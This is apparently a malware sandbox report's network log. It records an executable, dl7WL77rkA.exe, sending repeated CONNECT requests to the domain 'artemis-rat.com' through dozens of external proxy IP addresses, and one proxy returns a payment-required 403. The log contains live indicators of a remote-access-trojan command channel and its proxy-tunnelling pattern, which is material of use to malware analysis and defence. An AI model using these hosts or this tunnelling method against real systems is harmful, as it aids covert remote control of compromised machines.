Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.282391071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2075	192.168.2.5	55472	45.11.95.165	5212	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.284962893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2076	192.168.2.5	55473	45.11.95.165	6010	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.286489964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2077	192.168.2.5	55475	31.170.22.127	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.316241026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2078	192.168.2.5	54343	88.202.230.103	8896	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.317468882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.342178106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2079	192.168.2.5	55275	93.190.142.57	26541	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.332149982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.628355026 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2080	192.168.2.5	55478	37.221.197.165	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.341423035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207223892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202048063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092732906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.889710903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2081	192.168.2.5	55476	123.116.119.175	81	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.364264011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2082	192.168.2.5	55300	190.97.238.94	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.372075081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.405121088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.499180079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.499080896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2083	192.168.2.5	55470	124.163.236.54	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.383127928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.867661953 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2084	192.168.2.5	52537	162.214.227.68	56796	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.386817932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.405124903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.499177933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.499174118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2085	192.168.2.5	55306	207.180.198.241	55823	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.405489922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207530022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202070951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202111006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.202016115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.092756033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.904932976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2086	192.168.2.5	55256	31.24.44.92	50687	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.406302929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.592293978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702177048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.702512980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2087	192.168.2.5	55269	51.75.126.150	64615	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.407030106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.592293978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702173948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2088	192.168.2.5	55301	207.180.198.241	45718	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.409204006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.207550049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202069998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202070951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.202024937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.092804909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.904939890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2089	192.168.2.5	54510	184.170.249.65	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.424830914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2090	192.168.2.5	54388	148.72.206.84	34761	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.440530062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.592406988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702194929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.702574015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2091	192.168.2.5	55136	142.54.229.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.733339071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2092	192.168.2.5	55481	44.190.9.65	48100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.820817947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2093	192.168.2.5	54376	196.0.113.10	56861	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.824078083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014228106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.014431000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.014513969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2094	192.168.2.5	55471	64.227.108.25	31908	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.826883078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2095	192.168.2.5	55169	65.169.38.73	26592	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.843770027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2096	192.168.2.5	54360	106.105.218.244	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.870424032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.905112028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.998819113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.092752934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2097	192.168.2.5	52491	104.248.151.220	63648	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.870474100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.905092001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.998819113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.092752934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2098	192.168.2.5	54356	123.241.210.123	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.906979084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092408895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.202094078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.202137947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2099	192.168.2.5	55483	60.188.102.225	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.915877104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2100	192.168.2.5	52622	132.148.128.88	26606	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:49.068006992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217588902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2101	192.168.2.5	54524	91.241.217.58	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
